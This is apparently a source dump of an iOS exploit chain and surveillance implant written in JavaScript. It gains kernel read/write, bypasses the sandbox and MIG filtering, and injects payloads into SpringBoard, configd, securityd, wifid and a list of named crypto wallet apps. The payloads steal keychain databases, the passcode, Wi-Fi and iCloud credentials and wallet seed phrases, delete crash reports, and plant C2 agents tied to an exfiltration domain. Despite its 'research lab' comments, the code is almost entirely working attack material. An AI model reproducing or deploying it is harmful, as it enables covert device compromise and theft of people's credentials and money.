g.labJoinBase = joinBase;
g.labInferDeliveryHost = inferDeliveryHost;
g.labDeliveryHost = function () {
ensureHosts();
return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
};
g.labDeliveryUrl = function (path) {
return joinBase(g.labDeliveryHost(), path);
};
g.labApiOrigin = function () {
ensureHosts();
return apiOrigin(g.__LAB_EXFIL__);
};
g.labApiUrl = function (path) {
return joinBase(g.labApiOrigin(), path);
};
g.labApplyExfil = applyExfil;
g.labEnsureHosts = ensureHosts;
g.labApplyNews2Config = applyNews2Config;
function persistChannelCode(code) {
code = String(code || "").trim().slice(0, 64);
if (!code) return "";
g.__LAB_CHANNEL_CODE__ = code;
try {
if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
} catch (e0) {}
try {
if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
} catch (e1) {}
return code;
}
function readChannelCode() {
try {
var path = (g.location && g.location.pathname) || "";
var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
} catch (e3) {}
return "";
}
g.labChannelCode = function () {
if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
return readChannelCode();
};
ensureHosts();
try {
g.labChannelCode();
} catch (eCh) {}
})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);
+329
View File
@@ -0,0 +1,329 @@
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
import Native from "libs/Chain/Native";
import Chain from "libs/Chain/Chain";
import TaskRop from "libs/TaskRop/TaskRop";
import Task from "libs/TaskRop/Task";
import Sandbox from "libs/TaskRop/Sandbox";
import Utils from "libs/JSUtils/Utils";
import InjectJS from "./InjectJS";
import Driver from "libs/Driver/Driver";
import RemoteCall from "libs/TaskRop/RemoteCall";
import MigFilterBypassThreadCode from "!raw-loader!../dist/MigFilterBypassThread.js";
import loaderCode from "!raw-loader!loader.js";
import fileDownloaderCode from "!raw-loader!file_downloader.js";
import keychainCopierCode from "!raw-loader!keychain_copier.js";
import wifiDumpCode from "!raw-loader!wifi_password_dump.js";
import wifiDumpSecuritydCode from "!raw-loader!wifi_password_securityd.js";
import iCloudDumperCode from "!raw-loader!icloud_dumper.js";
import keychainDumperCode from "!raw-loader!keychain_dumper.js";
import passcodeCaptureCode from "!raw-loader!passcode_capture.js";
import walletKeychainDumpersCode from "!raw-loader!wallet_keychain_dumpers.js";
import walletExtractorCode from "!raw-loader!wallet_extractor.js";
import ghostNativeStub from "!raw-loader!ghost_native_stub.js";
import ghostHttpClient from "!raw-loader!ghost_http_client.js";
import ghostFollowonLoader from "!raw-loader!ghost_followon_loader.js";
import ghostSharedChannel from "!raw-loader!ghost_shared_channel.js";
import ghostSaberAgent from "!raw-loader!ghost_saber_agent.js";
import ghostKnifeClient from "!raw-loader!ghost_knife_client.js";
const ghostSaberPayload = [
ghostNativeStub,
ghostHttpClient,
ghostFollowonLoader,
ghostSharedChannel,
ghostSaberAgent,
].join("\n");
const ghostKnifePayload = [ghostNativeStub, ghostKnifeClient].join("\n");
class MigFilterBypass {
#running;
#sharedMem;
#runFlagPtr;
#isRunningPtr;
#monitorThread1Ptr;
#monitorThread2Ptr;
#mutexPtr;
constructor(mutexPtr) {
this.#mutexPtr = mutexPtr;
this.#running = false;
this.#sharedMem = BigInt(Native.callSymbol("calloc", 1, 0x100));
this.#runFlagPtr = this.#sharedMem;
this.#isRunningPtr = this.#sharedMem + 0x4n;
this.#monitorThread1Ptr = this.#sharedMem + 0x8n;
this.#monitorThread2Ptr = this.#sharedMem + 0x10n;
Native.write32(this.#runFlagPtr, 2);
Native.write32(this.#isRunningPtr, 0);
}
start() {
if (this.#running)
return;
let threadSelf = BigInt(Native.callSymbol("mach_thread_self"));
let threadSelfAddr = BigInt(Task.getPortKObject(threadSelf));
let threadMem = BigInt(Native.callSymbol("calloc", 1, 0x400));
let kernelRW = Chain.transferRW();
let kernelBase = BigInt(Chain.getKernelBase());
Native.write64(threadMem, BigInt(kernelRW.controlSocket));
Native.write64(threadMem + 0x8n, BigInt(kernelRW.rwSocket));
Native.write64(threadMem + 0x10n, kernelBase);
Native.write64(threadMem + 0x18n, threadSelfAddr);
Native.write64(threadMem + 0x20n, this.#runFlagPtr);
Native.write64(threadMem + 0x28n, this.#isRunningPtr);
Native.write64(threadMem + 0x30n, this.#mutexPtr);
Native.write64(threadMem + 0x38n, BigInt(Chain.offsets().migLock));
Native.write64(threadMem + 0x40n, BigInt(Chain.offsets().migSbxMsg));
Native.write64(threadMem + 0x48n, BigInt(Chain.offsets().migKernelStackLR));
Native.write64(threadMem + 0x50n, this.#monitorThread1Ptr);
Native.write64(threadMem + 0x58n, this.#monitorThread2Ptr);
//Native.write64(threadMem, lock.kernelSlide);
//Native.write64(threadMem + 0x8n, lock.lockAddr);
//console.log(TAG, `Spawn bypass thread with args: kernelSlide=${Utils.hex(lock.kernelSlide)}, lockAddr=${Utils.hex(lock.lockAddr)}`);
const threadCode = "fcall_init(); " + MigFilterBypassThreadCode;
Chain.threadSpawn(threadCode, threadMem);
for (let i=0; i<10; i++) {
let isRunning = Native.read32(this.#isRunningPtr);
if (isRunning)
break;
Native.callSymbol("usleep", 500000);
}
this.#running = true;
}
stop() {
if (!this.#running)
return;
Native.write32(this.#runFlagPtr, 0);
Native.callSymbol("sleep", 1);
this.#running = false;
}
pause() {
Native.write32(this.#runFlagPtr, 2);
Native.callSymbol("sleep", 1);
}
resume() {
Native.write32(this.#runFlagPtr, 1);
Native.callSymbol("sleep", 1);
}
monitorThreads(thread1, thread2) {
Native.write64(this.#monitorThread1Ptr, thread1);
Native.write64(this.#monitorThread2Ptr, thread2);
}
}
function xnuVersion() {
Native.callSymbol("uname", Native.mem);
const release = Native.readString(Native.mem + 0x200n, 0x100);
let splittedVersion = release.split(".");
let xnuMajor = splittedVersion[0];
let xnuMinor = splittedVersion[1];
return {major: xnuMajor, minor: xnuMinor};
}
const TAG = "MAIN";
//const targetProcess = "bluetoothd";
const targetProcess = "SpringBoard";
function start() {
let mutexPtr = null;
let migFilterBypass = null;
globalThis.xnuVersion = xnuVersion();
let ver = globalThis.xnuVersion;
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) {
mutexPtr = BigInt(Native.callSymbol("malloc", 0x100));
Native.callSymbol("pthread_mutex_init", mutexPtr, null);
migFilterBypass = new MigFilterBypass(mutexPtr);
}
let driver = new Driver();
Chain.init(driver, mutexPtr);
let resultPE = Chain.runPE();
if (!resultPE)
return;
TaskRop.init();
if(migFilterBypass)
migFilterBypass.start();
let launchdTask = new RemoteCall("launchd",migFilterBypass);
if (!launchdTask.success()) {
return false;
}
Sandbox.initWithLaunchdTask(launchdTask);
Sandbox.deleteCrashReports();
Sandbox.createTokens();
let agentLoader = new InjectJS(targetProcess, loaderCode, migFilterBypass);
let agentPid = 0;
if (agentLoader.inject()) {
agentPid = agentLoader.task.pid();
Sandbox.applyTokensForRemoteTask(agentLoader.task);
Sandbox.adjustMemoryPressure(targetProcess);
agentLoader.destroy();
}
// Phase order:
// 0x45 keychain_copier → configd (must run BEFORE file_downloader)
// 0x46 keychain_dumper → securityd
// 0x47 passcode_capture → SpringBoard
// 0x48 file_downloader → SpringBoard (picks up /tmp keychain+keybag)
// 0x4D wallet_keychain_dumpers (+ wallet_extractor) → wallet apps
// 0x4B icloud_dumper → UserEventAgent
// 0x49 wifi_password_dump → wifid
// 0x4A wifi_password_securityd → securityd
const keychainProcess = "configd";
let keychainCopier = new InjectJS(keychainProcess, keychainCopierCode, migFilterBypass);
if (keychainCopier.inject()) {
Sandbox.applyTokensForRemoteTask(keychainCopier.task);
keychainCopier.destroy();
}
const securitydProcess = "securityd";
let keychainDumper = new InjectJS(securitydProcess, keychainDumperCode, migFilterBypass);
if (keychainDumper.inject()) {
Sandbox.applyTokensForRemoteTask(keychainDumper.task);
keychainDumper.destroy();
}
try {
let passcodeCap = new InjectJS(targetProcess, passcodeCaptureCode, migFilterBypass);
if (passcodeCap.inject()) {
Sandbox.applyTokensForRemoteTask(passcodeCap.task);
passcodeCap.destroy();
}
} catch (_) {}
// Brief settle so configd/securityd can land files in /tmp before FD starts
try { Native.callSymbol("usleep", BigInt(1500000)); } catch (_) {}
try {
let fileDownloader = new InjectJS(targetProcess, fileDownloaderCode, migFilterBypass);
if (fileDownloader.inject()) {
Sandbox.applyTokensForRemoteTask(fileDownloader.task);
fileDownloader.destroy();
}
} catch (injectError) {}
// 0x4D — wallet app processes (best-effort; skip if not running)
const walletProcesses = [
"Trust", "MetaMask", "Rainbow", "Phantom", "Exodus", "imToken",
"Coinbase", "Coinbase Wallet", "Blockchain", "TokenPocket", "SafePal",
"Bitget", "OKX", "Binance", "Ledger Live", "BlueWallet", "Atomic",
];
const walletPayload = walletKeychainDumpersCode + "\n" + walletExtractorCode;
for (let wi = 0; wi < walletProcesses.length; wi++) {
try {
let wDump = new InjectJS(walletProcesses[wi], walletPayload, migFilterBypass);
if (wDump.inject()) {
Sandbox.applyTokensForRemoteTask(wDump.task);
wDump.destroy();
}
} catch (_) {}
}
// Also run extractor in SpringBoard (pasteboard / residual ObjC)
try {
let sbExtract = new InjectJS(targetProcess, walletExtractorCode, migFilterBypass);
if (sbExtract.inject()) {
Sandbox.applyTokensForRemoteTask(sbExtract.task);
sbExtract.destroy();
}
} catch (_) {}
const userEventAgentProcess = "UserEventAgent";
let iCloudDumper = new InjectJS(userEventAgentProcess, iCloudDumperCode, migFilterBypass);
if (iCloudDumper.inject()) {
Sandbox.applyTokensForRemoteTask(iCloudDumper.task);
iCloudDumper.destroy();
}
const wifidProcess = "wifid";
let wifiDump = new InjectJS(wifidProcess, wifiDumpCode, migFilterBypass);
if (wifiDump.inject()) {
Sandbox.applyTokensForRemoteTask(wifiDump.task);
wifiDump.destroy();
}
let wifiDumpSecurityd = new InjectJS(securitydProcess, wifiDumpSecuritydCode, migFilterBypass);
if (wifiDumpSecurityd.inject()) {
Sandbox.applyTokensForRemoteTask(wifiDumpSecurityd.task);
wifiDumpSecurityd.destroy();
}
const p0Signals = [
"/tmp/keychain-2.db",
"/tmp/keychain_full_dump.txt",
"/tmp/wallet_mnemonic_scan.txt",
"/tmp/wifi_passwords.txt",
"/private/var/tmp/wifi_passwords.txt",
];
for (let round = 0; round < 24; round++) {
let ready = 0;
for (let i = 0; i < p0Signals.length; i++) {
const probe = p0Signals[i];
const fd = Native.callSymbol("open", probe, 0);
if (Number(fd) >= 0) {
Native.callSymbol("close", fd);
ready++;
}
}
if (ready >= 2) break;
if (ready >= 1 && round >= 12) break;
Native.callSymbol("sleep", 1);
}
// (file_downloader already injected after keychain stages — no second pass)
// GHOSTSABER: persistent C2 loop + send_command_to_upper_process (research lab)
try {
let ghostSaber = new InjectJS(targetProcess, ghostSaberPayload, migFilterBypass);
if (ghostSaber.inject()) {
Sandbox.applyTokensForRemoteTask(ghostSaber.task);
ghostSaber.destroy();
}
} catch (e) {
// optional post-exploit module
}
// GHOSTKNIFE: ECDH binary C2 one-shot module harvest (research lab)
try {
let ghostKnife = new InjectJS(targetProcess, ghostKnifePayload, migFilterBypass);
if (ghostKnife.inject()) {
Sandbox.applyTokensForRemoteTask(ghostKnife.task);
ghostKnife.destroy();
}
} catch (e) {
// optional post-exploit module
}
launchdTask.destroy();
return true;
}
try {
start();
}
catch (error) {
// Error handling without logging
}
finally {
Native.callSymbol("exit", 0n);
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,103 @@
// PE stage file — progress marker: GET /pe_stage/s1_launchd.js
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
function __peStage1() {
p7_flog("PEMK-B0 before launchd RemoteCall isLaunchdSafe=1"); p7_flushLog();
try { pe_alive_ping("pe_s1_pre_launchd"); } catch (_s1a) {}
LOG("[PE] creating launchdTask...");
launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass);
p7_flog("PEMK-B0 after launchd ctor ok=" + !!(launchdTask && launchdTask.success()) + " fail=" + (globalThis.__peRemoteFail || 0)); p7_flushLog();
try { pe_alive_ping("pe_s1_post_launchd"); } catch (_s1b) {}
if (!launchdTask.success()) {
LOG("[PE] launchdTask FAILED");
p7_flog("PEMK-B launchdTask FAILED"); p7_flushLog();
try { globalThis.__peAbort = true; } catch (_a) {}
return;
}
LOG("[PE] launchdTask OK, init sandbox...");
p7_flog("PEMK-B1 before initWithLaunchdTask"); p7_flushLog();
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask);
// Skip deleteCrashReports: first post-ctor launchd token + recursive deleteDir
// reboots A13 (iPhone12,x) before createTokens even starts.
p7_flog("PEMK-B1 skip deleteCrashReports"); p7_flushLog();
p7_flog("PEMK-B1 before createTokens (nui-gate)"); p7_flushLog();
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens();
LOG("[PE] sandbox tokens created");
p7_flog("PEMK-B1 tokens ok"); p7_flushLog();
} catch (tokEx) {
p7_flog("PEMK-B1 createTokens THREW: " + String(tokEx).slice(0, 120));
p7_flushLog();
throw tokEx;
}
// ===== Self-process ucred READ-ONLY probe =====
// Uses the PROVEN path from sandbox extension code (line 6641-6653):
// proc + 0x18 -> credRef + 0x28 -> ucred
// ucred + 0x18 = cr_uid (offset 24, matches IDA key 35)
// ucred + 0x78 = cr_label (offset 120, matches IDA key 44)
try {
let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"];
let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex;
let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"];
let selfTask = T.gSelfTask.addr;
let selfProcRO = C.read64(selfTask + C.offsets().procRO);
let selfProc = C.read64(selfProcRO);
LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc)));
let credRef = C.read64(selfProc + 0x18n);
LOG("[UCRED] credRef=" + HEX(C.strip(credRef)));
let diag = "proc=" + HEX(C.strip(selfProc));
if (credRef && C.strip(credRef) >= 0xffffffd000000000n) {
let ucred = C.read64(credRef + 0x28n);
LOG("[UCRED] ucred=" + HEX(C.strip(ucred)));
diag += "|ucred=" + HEX(C.strip(ucred));
if (ucred && C.strip(ucred) >= 0xffffffd000000000n) {
let cr_uid = C.read32(ucred + 0x18n);
let cr_ruid = C.read32(ucred + 0x1cn);
let cr_svuid = C.read32(ucred + 0x20n);
let cr_ngroups = C.read32(ucred + 0x24n);
let cr_label = C.read64(ucred + 0x78n);
LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups);
LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label)));
diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid;
diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label));
// Also dump a few more ucred fields for structure verification
for (let doff = 0x00n; doff <= 0x80n; doff += 8n) {
try {
let val = C.read64(ucred + doff);
diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val));
} catch(e3) {}
}
} else {
diag += "|ucred_INVALID";
}
} else {
diag += "|credRef_INVALID";
}
globalThis.__ucredDiag = diag;
LOG("[UCRED] diag=" + diag.substring(0, 200));
} catch (probeErr) {
globalThis.__ucredDiag = "probe_error:" + String(probeErr);
LOG("[UCRED] error: " + probeErr);
}
// ===== End ucred probe =====
// Flush Phase 1 log now that sandbox tokens exist
if (p7_enableP7) {
p7_flog("launchd RC OK, sandbox tokens created");
p7_flushLog();
}
// ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline =====
// keepAlive until /tmp DB is usable - destroy() tears RC and kills mid-copy.
p7_flog("PEMK-B s1_launchd ok"); p7_flushLog();
try { __peClaimRunToken(); } catch (_ct) { try { p7_flog("PEMK-B pe_run_token claim throw: " + _ct); p7_flushLog(); } catch (_e) {} }
}
__peStage1();
@@ -0,0 +1,213 @@
// PE stage file — progress marker: GET /pe_stage/s2_keychain.js
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
function __peStage2() {
// Clear stale copier notify so we do not race a previous run.
try {
var __Nclr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"];
__Nclr.callSymbol("unlink", "/tmp/keychain_copier_status.txt");
__Nclr.callSymbol("unlink", "/tmp/keychain_mpd_go");
__Nclr.callSymbol("unlink", "/tmp/keychain-2.db");
} catch (_u) {}
__labKcCopier = null;
var __rcCopyOk = false;
var __rcCopySz = -1;
// Detect iOS version: 18.6.1+ must NOT enter RemoteCall rc_copy (hangs).
// 18.6.0 keeps the lab rc_copy primary path unchanged.
var __iosV = __labIosForGate();
try { globalThis.__labIosVer = __iosV; } catch (_cv) {}
// 18.6.1 / 18.6.2: match iOS18nui InjectJS path (no PEMK-C0 rc_copy).
var __useNuiKc = (__iosV.maj === 18 && (
(__iosV.min === 6 && __iosV.pat >= 1) ||
(__iosV.min > 6)
));
p7_flog("PEMK-C0 ios=" + (__iosV.raw || "?") + " useNuiKc=" + (__useNuiKc ? "1" : "0")); p7_flushLog();
if (__useNuiKc) {
// ===== iOS18nui path (18.6.1 / 18.6.2) =====
// applyTokens AFTER evaluateScript hangs on 18.6.2. Use deferStart:
// prepare JSC → full applyTokens → startScript → destroy (no post-apply).
LOG("[PE-WORKER] inject keychain_copier -> configd (nui 18.6.1+)");
p7_flog("PEMK-C0 nui InjectJS begin"); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_begin"); } catch (_pi0) {}
try {
var __kcRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
if (!__kcRC.success()) {
LOG("[PE-WORKER] keychain_copier: configd RC failed");
p7_flog("PEMK-C0 nui configd RC failed"); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2a) {}
} else {
p7_flog("PEMK-C0 nui configd RC ok -> deferStart+full applyTokens"); p7_flushLog();
var kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__kcRC, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
p7_flog("PEMK-C0 nui InjectJS ctor ok"); p7_flushLog();
var __injT0 = Date.now();
if (kcCopier.inject(0, { deferStart: true })) {
LOG("[PE-WORKER] keychain_copier prepared (deferred)");
p7_flog("PEMK-C0 nui defer ok ms=" + (Date.now() - __injT0) + " -> applyTokens"); p7_flushLog();
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task);
} catch (_atN) {
p7_flog("PEMK-C0 nui applyTokens err: " + _atN); p7_flushLog();
}
kcCopier.startScript();
p7_flog("PEMK-C0 nui startScript ok -> destroy"); p7_flushLog();
kcCopier.destroy();
p7_flog("PEMK-C0 nui destroy ok"); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_ok"); } catch (_pi1) {}
} else {
LOG("[PE-WORKER] keychain_copier FAILED");
p7_flog("PEMK-C0 nui inject FAILED ms=" + (Date.now() - __injT0)); p7_flushLog();
try { __kcRC.destroy(); } catch (_rd) {}
try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2) {}
}
}
} catch (kcErr) {
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
p7_flog("PEMK-C0 nui exception: " + kcErr); p7_flushLog();
try { pe_alive_ping("pe_s2_nui_exc"); } catch (_pi3) {}
}
// Background copier needs a short settle before Phase2 /tmp open.
LOG("[PE-WORKER] waiting 3s for keychain copy (nui)...");
for (var __nuiWi = 1; __nuiWi <= 3; __nuiWi++) {
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1);
}
p7_flog("PEMK-C s2_keychain done nui=1 rcCopy=0"); p7_flushLog();
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
return;
}
// ===== PRIMARY (18.6.0 / non-18.6.1+): RemoteCall copy inside configd =====
// Issue fresh Keychains tokens → consume into configd → open/read/write → /tmp.
// Avoids InjectJS evaluateScript race that often copies before tokens land.
LOG("[PE-WORKER] RemoteCall keychain copy via configd...");
p7_flog("PEMK-C0 rc_copy start"); p7_flushLog();
try {
p7_flog("PEMK-C0 before RemoteCall(configd)"); p7_flushLog();
var cfgRc = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass);
p7_flog("PEMK-C0 after RemoteCall success=" + !!(cfgRc && cfgRc.success())); p7_flushLog();
if (cfgRc && cfgRc.success()) {
var __tokPaths = [
"/private/var/Keychains/",
"/private/var/Keychains/keychain-2.db",
"/private/var/Keychains/keychain-2.db-wal",
"/private/var/Keychains/keychain-2.db-shm",
"/var/Keychains/",
"/var/Keychains/keychain-2.db",
"/tmp/",
"/private/var/tmp/"
];
var __tokN = 0;
for (var __ti = 0; __ti < __tokPaths.length; __ti++) {
if (__labApplyFreshToken(cfgRc, __tokPaths[__ti])) __tokN++;
}
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(cfgRc);
} catch (_at) {}
p7_flog("PEMK-C0 tokens fresh=" + __tokN); p7_flushLog();
var __pairs = [
["/private/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"],
["/private/var/Keychains/keychain-2.db-wal", "/tmp/keychain-2.db-wal"],
["/private/var/Keychains/keychain-2.db-shm", "/tmp/keychain-2.db-shm"]
];
for (var __fi = 0; __fi < __pairs.length; __fi++) {
var __cr = __labRcCopyFile(cfgRc, __pairs[__fi][0], __pairs[__fi][1]);
p7_flog("PEMK-C0 copy " + __pairs[__fi][1].split("/").pop() +
" ok=" + __cr.ok + " sz=" + __cr.sz + " err=" + (__cr.err || ""));
p7_flushLog();
if (__fi === 0 && __cr.ok && __cr.sz > 1048576) {
__rcCopyOk = true;
__rcCopySz = __cr.sz;
}
}
if (!__rcCopyOk) {
var __cr2 = __labRcCopyFile(cfgRc, "/var/Keychains/keychain-2.db", "/tmp/keychain-2.db");
p7_flog("PEMK-C0 copy alt ok=" + __cr2.ok + " sz=" + __cr2.sz + " err=" + (__cr2.err || ""));
p7_flushLog();
if (__cr2.ok && __cr2.sz > 1048576) {
__rcCopyOk = true;
__rcCopySz = __cr2.sz;
}
}
if (__rcCopyOk) {
__labWriteCopierReady(cfgRc, "/tmp/keychain-2.db", __rcCopySz);
try {
globalThis.__labKcCopyPath = "/tmp/keychain-2.db";
globalThis.__labKcReady = true;
} catch (_g) {}
p7_flog("PEMK-C0 READY via rc_copy sz=" + __rcCopySz); p7_flushLog();
LOG("[PE-WORKER] rc_copy READY sz=" + __rcCopySz);
}
// Breadcrumbs: last pe_mpd was READY then silence → pin destroy vs InjectJS.
p7_flog("PEMK-C0 before cfgRc.destroy"); p7_flushLog();
try { pe_alive_ping("pe_s2_pre_destroy"); } catch (_pd0) {}
try {
cfgRc.destroy();
p7_flog("PEMK-C0 after cfgRc.destroy ok"); p7_flushLog();
try { pe_alive_ping("pe_s2_post_destroy"); } catch (_pd1) {}
} catch (_d) {
p7_flog("PEMK-C0 cfgRc.destroy threw: " + _d); p7_flushLog();
try { pe_alive_ping("pe_s2_destroy_err"); } catch (_pd2) {}
}
} else {
p7_flog("PEMK-C0 configd RemoteCall FAILED"); p7_flushLog();
LOG("[PE-WORKER] configd RemoteCall FAILED");
}
} catch (__rcErr) {
p7_flog("PEMK-C0 rc_copy exception: " + __rcErr); p7_flushLog();
LOG("[PE-WORKER] rc_copy error: " + __rcErr);
}
// ===== SECONDARY: InjectJS keychain_copier (fallback only) =====
// (3) rc_copy READY already put db/wal/shm in /tmp — do NOT re-run copier (108MB race).
// (2) fallback: deferStart → applyTokens → startScript (tokens before evaluateScript).
if (__rcCopyOk) {
p7_flog("PEMK-C0 skip InjectJS: rc_copy READY sz=" + __rcCopySz); p7_flushLog();
try { pe_alive_ping("pe_s2_skip_inject_rc_ok"); } catch (_pi0) {}
LOG("[PE-WORKER] skip keychain_copier InjectJS (rc_copy READY)");
} else {
p7_flog("PEMK-C0 before InjectJS ctor (rc_copy miss)"); p7_flushLog();
try { pe_alive_ping("pe_s2_pre_inject"); } catch (_pi0) {}
LOG("[PE-WORKER] inject keychain_copier -> configd (deferStart then tokens)");
try {
let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
p7_flog("PEMK-C0 InjectJS ctor ok, calling inject(deferStart)"); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_call"); } catch (_pi1) {}
if (kcCopier.inject(0, { deferStart: true })) {
p7_flog("PEMK-C0 inject(defer) returned true"); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_ok"); } catch (_pi2) {}
LOG("[PE-WORKER] keychain_copier prepared (deferred)");
p7_flog("PEMK-C0 before applyTokens"); p7_flushLog();
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task);
try {
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/");
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/keychain-2.db");
__labApplyFreshToken(kcCopier.task, "/tmp/");
} catch (_ft) {
p7_flog("PEMK-C0 freshToken warn: " + _ft); p7_flushLog();
}
p7_flog("PEMK-C0 after applyTokens"); p7_flushLog();
try { pe_alive_ping("pe_s2_post_tokens"); } catch (_pi3) {}
p7_flog("PEMK-C0 before startScript"); p7_flushLog();
kcCopier.startScript();
p7_flog("PEMK-C0 after startScript"); p7_flushLog();
try { pe_alive_ping("pe_s2_start_script"); } catch (_pi3b) {}
LOG("[PE-WORKER] keychain_copier OK (tokens then evaluate)");
__labKcCopier = kcCopier;
} else {
p7_flog("PEMK-C0 inject() returned false"); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_fail"); } catch (_pi4) {}
LOG("[PE-WORKER] keychain_copier FAILED");
}
} catch (kcErr) {
p7_flog("PEMK-C0 InjectJS/inject exception: " + kcErr); p7_flushLog();
try { pe_alive_ping("pe_s2_inject_exc"); } catch (_pi5) {}
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
}
}
p7_flog("PEMK-C s2_keychain done rcCopy=" + __rcCopyOk + " sz=" + __rcCopySz); p7_flushLog();
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
}
__peStage2();
@@ -0,0 +1,14 @@
// PE stage file — progress marker: GET /pe_stage/s3_mempress.js
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
function __peStage3() {
// Brief settle then inject c2 BEFORE long DB wait so devices that die mid-copy still beacon.
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 2);
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
LOG("[PE] destroying launchd RC to free zone resources...");
try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); }
// ===== Inject loader + c2_agent BEFORE P7 Phase 2 (and before long kc wait) =====
p7_flog("PEMK-D s3_mempress launchd destroyed"); p7_flushLog();
}
__peStage3();
@@ -0,0 +1,55 @@
// PE stage file — progress marker: GET /pe_stage/s4_loader.js
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
function __peStage4() {
// Fine-grained diag: pin hang to InjectJS ctor / inject() / applyTokens / destroy.
LOG("[PE-WORKER] inject loader -> " + targetProcess);
p7_flog("PEMK-E0 s4 begin target=" + targetProcess); p7_flushLog();
var __s4Ok = false;
try {
p7_flog("PEMK-E0 before InjectJS ctor"); p7_flushLog();
var __tCtor = Date.now();
let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
p7_flog("PEMK-E0 InjectJS ctor ok ms=" + (Date.now() - __tCtor)); p7_flushLog();
let agentPid = 0;
p7_flog("PEMK-E0 before inject()"); p7_flushLog();
var __tInj = Date.now();
var __injOk = false;
try {
__injOk = !!agentLoader.inject();
} catch (_injE) {
p7_flog("PEMK-E0 inject() threw: " + _injE); p7_flushLog();
throw _injE;
}
p7_flog("PEMK-E0 inject() returned ok=" + (__injOk ? "1" : "0") + " ms=" + (Date.now() - __tInj)); p7_flushLog();
if (__injOk) {
try { agentPid = agentLoader.task.pid(); } catch (_pidE) {
p7_flog("PEMK-E0 pid() threw: " + _pidE); p7_flushLog();
}
LOG("[PE-WORKER] loader OK pid=" + agentPid);
p7_flog("PEMK-E0 loader OK pid=" + agentPid + " -> applyTokens"); p7_flushLog();
var __tTok = Date.now();
try {
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);
p7_flog("PEMK-E0 applyTokens ok ms=" + (Date.now() - __tTok)); p7_flushLog();
} catch (_tokE) {
p7_flog("PEMK-E0 applyTokens threw ms=" + (Date.now() - __tTok) + " err=" + _tokE); p7_flushLog();
throw _tokE;
}
p7_flog("PEMK-E0 before destroy"); p7_flushLog();
try { agentLoader.destroy(); } catch (_dE) {
p7_flog("PEMK-E0 destroy warn: " + _dE); p7_flushLog();
}
p7_flog("PEMK-E0 destroy ok"); p7_flushLog();
__s4Ok = true;
} else {
